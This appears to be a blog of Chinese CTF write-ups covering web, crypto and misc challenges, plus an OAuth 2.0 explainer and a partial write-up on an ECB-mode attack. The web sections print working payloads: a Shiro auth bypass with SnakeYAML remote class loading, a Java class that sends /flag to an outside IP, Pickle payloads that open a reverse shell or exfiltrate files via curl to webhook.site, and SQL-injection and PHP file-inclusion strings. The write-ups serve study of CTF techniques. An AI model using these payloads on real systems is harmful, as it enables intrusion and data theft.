DSCTF-2022-复盘

Web

easy_yaml

进入赛题页面直接F12或ctrl+U查看源码可以看到部分代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
    public ShiroFilterFactoryBean shiroFilter() {
ShiroFilterFactoryBean bean = new ShiroFilterFactoryBean();
bean.setSecurityManager((org.apache.shiro.mgt.SecurityManager) securityManager());
bean.setLoginUrl("/login");
Map<String, String> filterMap = new LinkedHashMap<>();
filterMap.put("/static/*","anon");
filterMap.put("/load/*", "authc");
bean.setFilterChainDefinitionMap(filterMap);
return bean;
}

@PostMapping(value = "/load/{id}")
@ResponseBody
public String loadyaml(@PathVariable(name = "id") String id, @RequestParam(name = "persondata", defaultValue = "") String persondata) throws IOException, ClassNotFoundException {
Yaml yaml = new Yaml();
Person p = yaml.loadAs(persondata, Person.class);
return p.username;
}

public class Address {
public String street;
public Object ext;
public boolean isValid;
}
public class Person {
public String username;
public String age;
public boolean isLogin;
public Address address;
}

要访问/load/目录必须通过身份认证,但是从给出的源码并没有任何登录的信息,猜测需要绕过身份认证。试了好几个shiro认证绕过,发现/load/%3bxpoint可以绕过成功,即加一个%3b 也就是 ; 的url编码,也就是CVE-2020-13933。这里参考的是:《Java安全之Shiro权限绕过》 https://www.cnblogs.com/nice0e3/p/16248252.html

绕过认证之后即可进入到/load/目录进行下一步操作。可以看到,这里是用 yaml.loadAs() 函数将我们发送的yaml数据以Person类进行加载,下面也给出了Person类的构造,其中username在代码执行顺利的情况下会有回显,参数address则被指定为前面给出的Address类型,而这个类中就有一个参数能够利用,即ext,它能够反序列化为任意类,我们能够在这个地方构造恶意类来getshell。手动构造yaml数据如下:

1
2
3
4
5
6
7
8
username: xp0int
age: 11
isLogin: true
address:
street: xp0int
ext:
恶意类
isValid: true

恶意类的构造也会参照了mi1k7ea师傅的博客:《Java SnakeYaml反序列化漏洞》 https://www.mi1k7ea.com/2019/11/29/Java-SnakeYaml%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E 这篇文章也汇总了很多其他的一些漏洞。

1
2
3
4
5
6
7
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [
[
!!java.net.URL ["http://ip:1234/"]
]
]
]

这使用了ScriptEngineManager类进行构造,本质上来讲是SPI机制,客户端通过访问服务端的目录下的META-INF/services文件获取自定义实现的类的1类名,再通过Class.forName来进行加载。这也是看了nice0e3师傅的文章学习到的: 《Java安全之SnakeYaml反序列化分析》https://www.cnblogs.com/nice0e3/p/14514882.html

那么剩下的问题就是构造一个恶意类并搭建起提供加载服务的Web应用了,这里可以直接下载github上的项目来快速搭建https://github.com/artsploit/yaml-payload。首先需要修改项目中/src/artsploit/目录下的 AwesomeScriptEngineFactory.java文件,讲函数AwesomeScriptEngineFactory() 的内容修改为我们要执行的代码,随后进行编译在/src/artsploit/目录下生成AwesomeScriptEngineFactory.class。

1
javac src/artsploit/AwesomeScriptEngineFactory.java

随后将/src/文件夹搬到vps上,用python开启简单的web服务即可。

1
python -m http.server --cgi 1234

在远程恶意服务准备好之后就可以开始发送准备好的yaml数据了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
username: xp0int
age: 11
isLogin: true
address:
street: xp0int
ext:
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [
[
!!java.net.URL ["http://ip:1234/"]
]
]
]
isValid: true

将以上内容进行url编码,发送到目标网站,随后即会触发反序列化加载远程恶意类读取flag。

在比赛时用Runtime.getRuntime().exec()进行反弹shell,但是一直都没反应,整了好久怀疑是自己的恶意服务没构造好,等着看到W&M的wp:https://blog.wm-team.cn/index.php/archives/21/ 后才想起来,有可能这个方法被禁用了,用其他方式就好了,例如W&M的师傅直接读flag,然后将其构造为GET方法的参数访问自己vps上的服务即可看到get flag。

趁着环境还没关赶紧进行复现。

远程恶意类代码主体如下:

1
2
3
4
5
6
7
8
9
10
11
public class AwesomeScriptEngineFactory implements ScriptEngineFactory {

public AwesomeScriptEngineFactory() {
try {
// Runtime.getRuntime().exec("curl https://webhook.site/fb838a03-6b64-404d-a48a-ad6174d83975");
// Runtime.getRuntime().exec("bash -c {echo,YmFzaCUyMC1pJTIwJTNFJTI2L2Rldi90Y3AvMTE5LjkxLjIzOS45OC8yMzMzMyUyMDAlM0UlMjYx}|{base64,-d}|{bash,-i}");
new java.net.URL("http://119.91.239.98:1234/?a="+new java.io.BufferedReader(new java.io.FileReader("/flag")).readLine()).openConnection().getInputStream();
} catch (IOException e) {
e.printStackTrace();
}
}

最终payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
POST /load/%3bxp0int HTTP/1.1
Host: 39.105.38.203:30113
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.5005.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 929

persondata=%75%73%65%72%6e%61%6d%65%3a%20%78%70%30%69%6e%74%0a%61%67%65%3a%20%31%31%0a%69%73%4c%6f%67%69%6e%3a%20%74%72%75%65%0a%61%64%64%72%65%73%73%3a%20%0a%20%20%20%20%73%74%72%65%65%74%3a%20%78%70%30%69%6e%74%0a%20%20%20%20%65%78%74%3a%20%0a%20%20%20%20%20%20%20%20%21%21%6a%61%76%61%78%2e%73%63%72%69%70%74%2e%53%63%72%69%70%74%45%6e%67%69%6e%65%4d%61%6e%61%67%65%72%20%5b%0a%20%20%20%20%20%20%20%20%20%20%20%20%21%21%6a%61%76%61%2e%6e%65%74%2e%55%52%4c%43%6c%61%73%73%4c%6f%61%64%65%72%20%5b%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%5b%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%21%21%6a%61%76%61%2e%6e%65%74%2e%55%52%4c%20%5b%22%68%74%74%70%3a%2f%2f%69%70%3a%31%32%33%34%2f%22%5d%0a%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%5d%0a%20%20%20%20%20%20%20%20%20%20%20%20%5d%0a%20%20%20%20%20%20%20%20%5d%0a%20%20%20%20%69%73%56%61%6c%69%64%3a%20%74%72%75%65

鹏城杯初赛-2022-WP

easygo

给了源码,下下来打开发现存在sql注入

直接看数据库中的存在有什么表,其中有一个表比较可疑:super_secret_table

1
/juice/1'%20union%20select%201,table_name%20from%20information_schema.tables%20limit%201offset%20§这个是偏移§--

于是查看这个表的列名,发现存在flag字段:

1
/juice/1'%20union%20select%201,column_name%20from%20information_schema.columns%20where%20table_name='super_secret_table'--

直接读取flag

1
/juice/1'%20union%20select%201,flag%20from%20super_secret_table--

flag:PCL{Postgresql_1njection_1s_3asY}

简单包含

源码很简单就是通过文件包含读取flag

1
2
3
4
 <?php 
highlight_file(__FILE__);
include($_POST['flag']);
//flag in /var/www/html/flag.php

但是存在waf,可以通过上传文件使得waf溢出失效,exp如下:

1
2
3
4
5
6
7
8
import requests
url = "http://192.168.1.113/"
request_files = {
'file': (('demo.jpg', open('./image.jpg', 'rb')))
}
data={'flag': 'php://filter/convert.base64-encode/resource=/var/www/html/flag.php'}
resp = requests.post(url=url, data=data,files=request_files)
print(resp.content)

flag: PCL{bc58644f-f757-11ec-9edf-5224002d2b29}

easy_rsa

第一步

e和phi不互素:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
c = 0x27455f081e4858790c6503580dad3302ae359c9fb46dc601eee98f05142128404e95377324720adbbdebf428549008bcd1b670f6749592a171b30316ab707004b9999f3b80de32843afdfd30505b1f4166a03cee9fc48902b74b6e850cfd268e6917c5d84e64f7e7cd0e4a30bfe5903fb5d821d27fdc817d9c4536a8e7aea55af266abcae857a8ffff2f741901baba1b44091a137c69c471c123ab0b80e250e055959c468e6e37c005105ecd7c8b48c659024e5e251df3eeff5da7b3d561cd98150da3575a16bee5f2524d2795fd4879487018345c1e96efc085ed45fb5f02c027aee5bca3aad0eb3e23376c0cd18b02fb05a1ff8fb1af0a3ce4bb671599894e
p = 0xbb602e402b68a5cfcc5cfcc63cc82e362e98cb7043817e3421599a4bb8755777c362813742852dad4fec7ec33f1faec04926f0c253f56ab4c4dde6d71627fbc9ef42425b70e5ecd55314e744aa66653103b7d1ba86d1e0e21920a0bfe7d598bd09c3c377a3268928b953005450857c6cfea5bfdd7c16305baed0f0a31ad688bd
q = 0xbb8d1ea24a3462ae6ec28e79f96a95770d726144afc95ffffa19c7c3a3786a6acc3309820ba7b1a28a4f111082e69e558b27405613e115139b38e799c723ab7fdd7be14b330b118ae60e3b44483a4c94a556e810ab94bbb102286d0100d7c20e7494e20e0c1030e016603bd2a06c1f6e92998ab68e2d420faf47f3ee687fb6d1
e = 0x292

def decrypt1(p, q, e, c):
n = p * q
phi = (p - 1) * (q - 1)
t = gmpy2.gcd(e, phi)
d = gmpy2.invert(e // t, phi)
m = pow(c, d, n)
msg = gmpy2.iroot(m, t)
if msg[1]:
print(long_to_bytes(msg[0]))
decrypt1(p,q,e,c)
# PCL{16745c3b

第二步

p的高位攻击:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# 先用sagemath求出q、p
def phase3(high_p, n):
R.<x> = PolynomialRing(Zmod(n), implementation='NTL')
p = high_p + x
x0 = p.small_roots(X = 2^60, beta = 0.1)[0]
P = int(p(x0))
Q = n // P
print(P)
print(Q)
assert n == P*Q

p=0xa9cb9e2eb43f17ad6734356db18ad744600d0c19449fc62b25db7291f24c480217d60a7f87252d890b97a38cc6943740ac344233446eea4084c1ba7ea5b7cf2399d42650b2a3f0302bab81295abfd7cacf248de62d3c63482c5ea8ab6b25cdbebc83eae855c1d07a8cf0408c2b721e43c4ac53262bf9aaf7a000000000000000
n=0x841a5a012c104e600eca17b451d5fd37c063ad347707a2e88f36a07e9ad4687302790466e99f35b11580cbe8b0a212e6709686c464a6393c5895b1f97885f23ea12d2069eb6dc3cb4199fb8c6e80a4a94561c6c3499c3c02d9dc9cf216c0f44dc91701a6d9ec89981f261a139500420a51014492f1da588a26e761439dd5739b32540ca6dc1ec3b035043bc535304a06ccb489f72fcd1aa856e1cffe195039176937f9a16bd19030d1e00095f1fd977cf4f23e47b55650ca4712d1eb089d92df032e5180d05311c938a44decc6070cd01af4c6144cdab2526e5cb919a1828bec6a4f3332bf1fa4f1c9d3516fbb158fd4fbcf8b0e67eff944efa97f5b24f9aa65
phase3(p,n)

# python直接求出m
p=119234372387564173916926418564504307771905987823894721284221707768770334474240277144999791051191061404002537779694672314673997030282474914206610847346023297970473719280866108677835517943804329212840618914863288766846702119011361533150365876285203805100986025166317939702179911918098037294325448226481818486521
q=139862779248852876780236838155351435339041528333485708458669785004897778564234874018135441729896017420539905517964705602836874055417791439544162777504181482765029478481701166935117795286988835104239238153206137155845327225155932803904032184502243017645538314995056944419185855910939481260886933456330514972109
phi=(p-1)*(q-1)
d=gmpy2.invert(e,phi)
m=pow(c,d,n)
print(long_to_bytes(m))

# 0c134c83b74f

第三步

c和n不互素,这里直接求公约数得到p,再求出m

1
2
3
4
5
6
7
8
9
10
11
12
c = 0x1bd2a47a5d275ba6356e1e2bd10d6c870693be540e9318c746e807a7672f3a75cc63841170126d7dba52d7f6f9cf0f8dce9705fc1785cc670b2658b05d4b24d8918f95594844bfa920c8ffe73160c2c313b3fdbc4541ec19828165e34afa7d05271cc6fd59d08138b88c11677e6ac3b39cff525dcb19694b0388d895f53805a5e5bd8cfb947080e4855aaf83ebd85a397526f7d76d26031386900cb44a2e4bd121412bcee7a6c1e9af411e234f130e68a428596265d3ec647e50f65cb81393f4bd38389a2b9010fd715582506b9054dc235aced50757462b77a5606f116853af0c1ea3c7cf0d304f885d86081f8bac8b67b0625122f75448c5b6eb8f1cc8a0df
n = 0xc2b17c86a8950f6dafe0a633890e4271cfb20c5ffda2d6b3d035afa655ed05ec16c67b18832ed887f2cea83056af079cc75c2ce43c90cce3ed02c2e07d256f240344f1734adeee6dc2b3b4bbf6dcfc68518d0a74e3e66f1865db95ef4204457e6471903c2321ac97f3b8e3d8d935896e9fc9145a30a3e24e7c320490a9944c1e94d301c8388445532699e6189f4aa6a86f67f1d9b8fb0de4225e005bd27594cd33e36622b2cd8eb2781f0c24d33267d9f29309158942b681aab81f39d1b4a73bd17431b46a89a0e4c2c58b1e24e850355c63b72392600d3fff7a16f6ef80ea515709da3ef1d28782882b0dd2f76bf609590db31979c5d1fd03f75d9d8f1c5069
e = 0x10001

p=gmpy2.gcd(c,n)
q=n//p
phi=(p-1)*(q-1)
d=gmpy2.invert(e,phi)
m=pow(c,d,n)//2022//1011//p
print(long_to_bytes(m))

# 977260aae9b5}

flag: PCL{16745c3b0c134c83b74f977260aae9b5}

CISCNCTF2022 初赛 WP

CRYPTO

签到电台

按公众号提示

密文+密码本 模10 得到密码

1732 2514 1344 0356 0451 6671 0055

1116 8739 2160 4882 4331 7393 0019

2848 0243 3404 4138 4782 3964 0064

开启会话

http://eci-2zeh1c14i16ne6hcxxxb.cloudeci1.ichunqiu.com:8888/send?msg=s

发送电报

http://eci-2zeh1c14i16ne6hcxxxb.cloudeci1.ichunqiu.com:8888/send?msg=2848024334044138478239640064

flag{50c75dee-dc65-4dc1-83c1-6d220643e513}

基于挑战码的双向认证3

ssh连接,su提权,密码toor

flag{7b352ef0-1bb1-41af-a7d7-b74f62ff23f0}

WEB

ezpop

参考 :https://www.icode9.com/content-1-1367188.html

flag{0b9c9b72-0f36-464e-b4a4-bd1ea26e5e63}

Dest0g3 520迎新赛 WP

忙到比赛快结束了才开始打 *.*

WEB

phpdest

require_once 绕过不能重复包含文件的限制

poc如下:

1
php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

flag:Dest0g3{26291723-ac8b-4776-95e6-65be65455960}

相关知识点学习:php源码分析 require_once 绕过不能重复包含文件的限制 https://www.anquanke.com/post/id/213235

EasyPHP

字符串拼接出错即可引发错误输出flag,直接发一个数组即可.

flag:Dest0g3{d06f2820-8493-4d29-b470-f265b23b199f}

SimpleRCE

利用十六进制转ASCII绕过system禁用,再用head读取文件

flag:Dest0g3{fb501803-e3af-4a13-8736-a1752ec324c9}

funny_upload

限制上传php文件,文件内容无法带有<?php。于是先上传一个eval.jpg文件

再用 .htaccess 的将其解析为php文件,同时加上php_value auto_prepend_file /flag将flag进来:

再访问eval.jpg即可看到flag:

flag:Dest0g3{6a131d9c-4c4b-44a5-b040-0264f42966a5}

相关知识点学习:与 .htaccess 相关的奇淫技巧 https://www.anquanke.com/post/id/241147#h3-11

middle

一道简单的Pickle反序列化,看源码利用思路很简单:构造opcode让服务器调用config下的backdoor函数进行远程代码执行。

需要注意这个是无回显的,可以利用反弹shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests
import base64

opcode=b'''cconfig
backdoor
((S'os.system("#bash -i >& /dev/tcp/ip/1234 0>&1'
S'")'
ltR.'''
payload=base64.b64encode(opcode)
print(payload)
p=requests.post(url="http://a109323d-13f4-4417-97d8-0af8e6dbc36c.node4.buuoj.cn:81/home",data={"data": payload})
print(p.text)

#服务器运行 nc -lnvp 1234

比赛的时候因为自己的机子不知道啥原因就是弹不了,也就有了下面这个操作,先用把命令执行结果输出到文件后再把通过curl命令把执行结果发送出来:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
import base64

opcode=b'''cconfig
backdoor
((S'os.system("curl -F \'ls / > /flag&curl -F \'file=@/flag\' https://webhook.site/68149089-5dbe-48b2-a13f-ff9718771340'
S'")'
ltR.'''

#file=@/flag.txt\' https://webhook.site/68149089-5dbe-48b2-a13f-ff9718771340

payload=base64.b64encode(opcode)
print(payload)
p=requests.post(url="http://a109323d-13f4-4417-97d8-0af8e6dbc36c.node4.buuoj.cn:81/home",data={"data": payload})
print(p.text)

Dest0g3{a18d0ee5-5bb2-45aa-8d99-89ce75b1f06e}

相关知识点学习:Pickle反序列化 https://goodapple.top/archives/1069

MISC

你知道js吗

拿到flag,打开可以看到明显是一个word文件,添加.docx后缀打开,将文本文件复制后发现是base64,解码得到其中一串只有+-.<>[]的字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
+++++ ++[-> +++++ ++<]> +++.. ++.-. ++.-- --.++ ++.-- 
-.-.- --.++ ++++.
+.--- -..++ ++.<+ ++[-> +++<] >++.< +++[-
>---< ]>--- ---.+ ++++. -----
.+++. ...-- ---.+ ++++. ---.+ ++.-- ---.+ ++++. ---.. +++++ +.--- ----.
<++++ [->++ ++<]> ++.<+ +++[- >---- <]>-. ---.+
+++++ .---- -.++. ++.+.
--.-- .<+++ +[->+ +++<] >++.< ++++[ ->--- -<]>-
.+.-. ---.+ ++.+. -.+++
+.--- --.<+ +++[- >++++ <]>++ .<+++ [->-- -<]>- ----. ----. +.+++ +.---
-.--- .+++. -..<+ +++[- >++++ <]>++
.<+++ +[->- ---<] >-.++ +++.- ----.
+++.. ---.+ ++.-- --.+. ..+++ +.-.- ----. +++++
.---- .+.++ ++.-- --.++
++.-. ----. +.-.+ ++++.
<+++[ ->+++ <]>++ ++.<

Brainfuck解码得到446573743067337B38366661636163392D306135642D343034372D623730322D3836636233376162373762327D,十六进制转为字符串即可得到flag。

flag: Dest0g3{86facac9-0a5d-4047-b702-86cb37ab77b2}

Pngenius

附件给的png用binwalk提取可以得到一个加密的压缩包,

用Stegsolve查看png图片可以发现RGB三个通道最低为存在lsb隐写,提取得到压缩包密码Weak_Pas5w0rd

解压得到flag。

flag: Dest0g3{2908C1AA-B2C1-B8E6-89D1-21B97D778603}

CRYPTO

babyRSA

yafu直接分解n

1
2
3
4
5
6
7
8
9
10
11
from Crypto.Util.number import long_to_bytes
import gmpy2
e = 65537
n=27272410937497615429184017335437367466288981498585803398561456300019447702001403165885200936510173980380489828828523983388730026101865884520679872671569532101708469344562155718974222196684544003071765625134489632331414011555536130289106822732544904502428727133498239161324625698270381715640332111381465813621908465311076678337695819124178638737015840941223342176563458181918865641701282965455705790456658431641632470787689389714643528968037519265144919465402561959014798324908010947632834281698638848683632113623788303921939908168450492197671761167009855312820364427648296494571794298105543758141065915257674305081267
c=14181751948841206148995320731138166924841307246014981115736748934451763670304308496261846056687977917728671991049712129745906089287169170294259856601300717330153987080212591008738712344004443623518040786009771108879196701679833782022875324499201475522241396314392429412747392203809125245393462952461525539673218721341853515099201642769577031724762640317081252046606564108211626446676911167979492329012381654087618979631924439276786566078856385835786995011067720124277812004808431347148593882791476391944410064371926611180496847010107167486521927340045188960373155894717498700488982910217850877130989318706580155251854
p1 = 165143607013706756535226162768509114446233024193609895145003307138652758365886458917899911435630452642271040480670481691733000313754732183700991227511971005378010205097929462099354944574007393761811271098947894183507596772524174007304430976545608980195888302421142266401500880413925699125132100053801973971467
p2 = 165143607013706756535226162768509114446233024193609895145003307138652758365886458917899911435630452642271040480670481691733000313754732183700991227511971005378010205097929462099354944574007393761811271098947894183507596772524174007304430976545608980195888302421142266401500880413925699125132100053801973969401
phi=(p1-1)*(p2-1)
d=gmpy2.invert(e,phi)
m=long_to_bytes(pow(c,d,n))
print(m)

flag: Dest0g3{96411aad-032c-20a8-bc43-b473f6f08536}

babyAES

直接解密

1
2
3
4
5
6
7
from Crypto.Cipher import AES
c=b'C4:\x86Q$\xb0\xd1\x1b\xa9L\x00\xad\xa3\xff\x96 hJ\x1b~\x1c\xd1y\x87A\xfe0\xe2\xfb\xc7\xb7\x7f^\xc8\x9aP\xdaX\xc6\xdf\x17l=K\x95\xd07'
iv=b'\xd1\xdf\x8f)\x08w\xde\xf9yX%\xca[\xcb\x18\x80'
key=b'\xa4\xa6M\xab{\xf6\x97\x94>hK\x9bBe]F'
my_aes = AES.new(key, AES.MODE_CBC, iv)
m = my_aes.decrypt(c)
print(m)

flag: Dest0g3{d0e5fa76-e50f-76f6-9cf1-b6c2d576b6f4}

ezDLP

sagemath一把梭

1
2
3
4
5
y = 199533304296625406955683944856330940256037859126142372412254741689676902594083385071807594584589647225039650850524873289407540031812171301348304158895770989218721006018956756841251888659321582420167478909768740235321161096806581684857660007735707550914742749524818990843357217489433410647994417860374972468061110200554531819987204852047401539211300639165417994955609002932104372266583569468915607415521035920169948704261625320990186754910551780290421057403512785617970138903967874651050299914974180360347163879160470918945383706463326470519550909277678697788304151342226439850677611170439191913555562326538607106089620201074331099713506536192957054173076913374098400489398228161089007898192779738439912595619813699711049380213926849110877231503068464392648816891183318112570732792516076618174144968844351282497993164926346337121313644001762196098432060141494704659769545012678386821212213326455045335220435963683095439867976162
p = 335215034881592512312398694238485179340610060759881511231472142277527176340784432381542726029524727833039074808456839870641607412102746854257629226877248337002993023452385472058106944014653401647033456174126976474875859099023703472904735779212010820524934972736276889281087909166017427905825553503050645575935980580803899122224368875197728677516907272452047278523846912786938173456942568602502013001099009776563388736434564541041529106817380347284002060811645842312648498340150736573246893588079033524476111268686138924892091575797329915240849862827621736832883215569687974368499436632617425922744658912248644475097139485785819369867604176912652851123185884810544172785948158330991257118563772736929105360124222843930130347670027236797458715653361366862282591170630650344062377644570729478796795124594909835004189813214758026703689710017334501371279295621820181402191463184275851324378938021156631501330660825566054528793444353
g = 19
x = discrete_log(mod(y, p), mod(g, p))
print(hex(x))

flag: Dest0g3{07ed2a6f-182f-a05d-c81e-1318af820a78}

OAuth 2.0 一种第三方授权访问机制

简单来说,OAuth就是一种授权机制,它能够为第三方应用提供访问用户资源的授权。

例如我们在玩某个游戏的时候需要获取QQ的好友列表,那么就需要遵循这个协议跟QQ服务器进行确认身份和协商,让游戏应用拿到允许获取QQ好友的一个令牌,然后游戏应用通过这个令牌就能够跟QQ服务器获取得到QQ好友列表。而这个令牌是有一个有效期的,过期就无法使用,这样就防止了令牌被滥用;当然这个令牌能获取到的数据也是有限的,他只能获取到你授权的内容,如果你只授权QQ好友的话,那么他是获取不到关于你QQ空间、QQ邮箱里面的内容的;而且当你不想玩这个游戏的时候还能够撤销这个令牌,让游戏无法再获取你的QQ好友列表。

也就是说通过OAuth授权第三方应用得到的令牌就是一个临时访问特定资源的凭证,值得注意的是只要拿到了令牌系统就不会再进行身份认证了,因此令牌必须保密,防止泄露导致数据被非法访问。目前一般的流程为先备案再授权,系统只会向有在本系统进行备案的应用颁发令牌,这样可以在一定程度上防止令牌被滥用。

一、授权方式

基于不同的场景,OAuth 2.0 有四种授权方式,分别为:

  • 授权码(authorization-code)
  • 隐藏式(implicit)
  • 客户端凭证(client credentials)
  • 密码式(password)

假设网站b要向网站a获取访问用户C的数据的令牌,在网站a进行备案之后即可开始权限获取,下文将通过图示对四种授权方式进行描述:

(一)授权码

最常用也是安全性最高的方式,一般授权码由前端获取,而令牌由后端获取,这样前后分离使得令牌不易泄露。

(二)隐藏式

适用于无后端的应用,安全性不高,只能用于对安全要求不高的场景,而且授权的令牌有效期一般较短。值得一提的是获取到令牌回调到原网站时,令牌存储位置采用的是锚点,由于oauth 2.0允许回调的网站是http的,因此存在中间人攻击的风险,但是采用锚点就有效减少了泄露的风险,毕竟浏览器跳转时锚点并不会发送到浏览器。

(三)客户端凭证

适用于没有前端的命令行应用。

(四)密码式

这种方式一般是在其他方式都无法采用的情况下才会采用的,用户必须高度信任该应用,毕竟需要将用户名和密码交出来,存在的风险非常大。

二、令牌的使用

网站b拿到了网站a的令牌之后,就可以向网站a提供的API发起请求获取数据了,令牌的位置一般是在数据包请求头,添加Authorization: xxxxxxxx键值对。当令牌过期时,OAuth 2.0允许用户自动更新令牌,注意到前面获取到的 JSON 数据中含有refresh_token字段,这就是用于获取新令牌的字段,用户在令牌过期前用refresh_token向网站a发送请求更新令牌即可,一般格式为https://b.com/oauth/token?grant_type=refresh_token&client_id=CLIENT_ID&client_secret=CLIENT_SECRET&refresh_token=REFRESH_TOKEN

【参考】

https://www.ruanyifeng.com/blog/2019/04/oauth-grant-types.html

https://datatracker.ietf.org/doc/html/rfc6749

https://oauth.net/2/

MRCTF 2022 复现(一)一道非常有意思的misc (pdd)

这是一道web+crypto题,第一次让我切实体会到ECB加密模式所存在一大缺陷,就是难以抵抗统计攻击,相同明文所对应的密文是一样的,在知道一些明文-密文片段的情况下,可以通过拼接得到我们想要的密文。

简单来说EBC模式下图所示,明文先被分成固定长度的分组,随后每一组进行相同的加密操作得到对应的密文分组,再将其拼接起来即可。

话不多说直接看题目,打开是一个抽奖页面,正常情况下有十次机会,当进度达到100/100的时候即可得到flag。

通过更改X-Forwarded-For修改ip发现剩余抽奖次数刷新,也就是说可以通过无限次抽奖,于是编写代码进行自动抽奖,把进度抽到100那不就可以得到flag了吗?但是pdd终究还是不能信的,抽了白天从99.0抽到了0.99999999999991然后就直接跳到了0.9999987,想要通无限抽奖来使进度达到100是不可能的。

只能寻找别的办法,先来看一下源码,看看具体是干了什么事情:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
help(t) {
this.$axios.get(`/lucky.php?action=help&udb=${t}`).then((t => {
console.log(t.data);
let e = t.data;
200 === t.data.code ? this.$vToastify.success(e.detail) : this.$vToastify.error(e.detail)
}))
},
randomString(t) {
t = t || 32;
let e = "ABCDEFGHJKMNPQRSTWXYZabcdefhijkmnprstwxyz2345678",
n = e.length,
r = "";
for (let o = 0; o < t; o++) r += e.charAt(Math.floor(Math.random() * n));
return r
},
start() {
let t = "user_" + this.randomString(6);
this.$axios.post("/lucky.php?action=start", { username: t }).then((t => {
console.log(t.data);
let e = t.data;
if (200 === t.data.code) {
let n = t.data.enc;
this.setEnc(n), this.user = { username: e.username, times: e.times, money: e.money },
this.sharelink = `/?udb=${e.userdb}`, this.remain = 100 - this.user.money,
alert(`运气王!恭喜你还差${this.remain}就能免费拿flag`)
} else this.$vToastify.error(e.detail)
}))
},
getUserInfo() {
this.$axios.post("/lucky.php?action=info", { enc: this.getEnc() }).then((t => {
let e = t.data;
if (200 == t.data.code) {
let n = t.data.enc;
this.setEnc(n), this.user = { username: e.username, times: e.times, money: e.money },
this.remain = 100 - this.user.money, this.sharelink = `/?&udb=${e.userdb}`,
100 === e.money && this.getflag()
} else this.$vToastify.error(e.detail), this.logout()
}))
},
logout() { sessionStorage.clear(), localStorage.clear() },
setEnc(t) { sessionStorage.setItem("enc", t), localStorage.setItem("enc", t) },
getEnc() { return localStorage.getItem("enc") },
getFlag() {
this.$axios.post("/lucky.php?action=getFlag", { enc: this.getEnc() }).then((t => {
let e = t.data;
200 === t.data.code ? this.$vToastify.success(e.flag) : this.$vToastify.error(e.detail)
}))
},
startCallback() {
this.$refs.myLucky.play(), this.$axios.post("/lucky.php?action=lucky",
{ enc: this.getEnc() }).then((t => {
let e = t.data;
if (200 == t.data.code) {
let n = t.data.enc;
this.setEnc(n), this.remain -= e.bonus, this.index = e.arg
} else this.index = -1, this.$vToastify.error(e.detail);
this.$refs.myLucky.stop(this.index)
}))
},
endCallback() {
this.getUserInfo(), -1 != this.index && alert(`太棒了${this.prizes[this.index].fonts[0].text}一刀!还剩${this.remain}就能免费拿flag了`) }
},
mounted() {
this.getQueryVariable("udb") && this.help(this.getQueryVariable("udb"));
let t = localStorage.getItem("enc");
t ? this.getUserInfo() : this.start()
}
},

它的运行逻辑为打开网页开始抽奖前会先判断当前是否已经登录,如果没有登录就会随机生成一个用户名进行注册,随后才可以进行抽奖。每次抽奖都会发送enc给服务器,服务器运行抽奖后就会生成新的enc,同时也会返回进度money、次数time、奖励bonus、和序列化信息debug等,如果进度达到100就会获取flag。那么我们就能够从这段代码中提取出与服务器进行交互的数据接口:

url 参数 返回值
/lucky.php?action=help&udb= udb=用户数据库信息 用户查询结果
/lucky.php?action=start username code,enc,username,times,money,remain,userdb,debug
/lucky.php?action=info enc code,enc,username,money,times,userdb
/lucky.php?action=getFlag enc code,flag/detail
/lucky.php?action=lucky enc code,arg,remain,bonus,money,debug

每次抽奖都会交互一个键名为enc键值为base64字符串的键值对,同时还有一个键名为debug键值一串序列化字符串的键值对,而且enc的值和debug的值的变化都是局部变化,而且变化的位置是相对应的,猜想enc的值是对debug的值的加密,而且加密模式很有可能是ECB模式。因为用户名username是可控的,所以可以来验证一下这个猜想,发送几个固定长度的username后观察enc的变化:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
debug序列化字符串依次为:(长度73)
O:4:"User":3:{s:8:"username";s:3:"123";s:5:"times";i:0;s:5:"money";i:50;}
O:4:"User":3:{s:8:"username";s:3:"120";s:5:"times";i:0;s:5:"money";i:62;}
O:4:"User":3:{s:8:"username";s:3:"110";s:5:"times";i:0;s:5:"money";i:57;}

相对应的enc依次为:
SRMr2xR0uuLsQScgoAegYwrQrdxDA2bfJG2zu/f8n1+A+TMB5YDee3ol2o8qhvX96lZQYpXeLEVisXnuj463nKa6JLxkUp8N6AbFMBuadHI=
SRMr2xR0uuLsQScgoAegYwrQrdxDA2bfJG2zu/f8n1+ytSKLMwHB+38uW0MmS4oA6lZQYpXeLEVisXnuj463nIf5+8R4W7nifRCmLvINSgw=
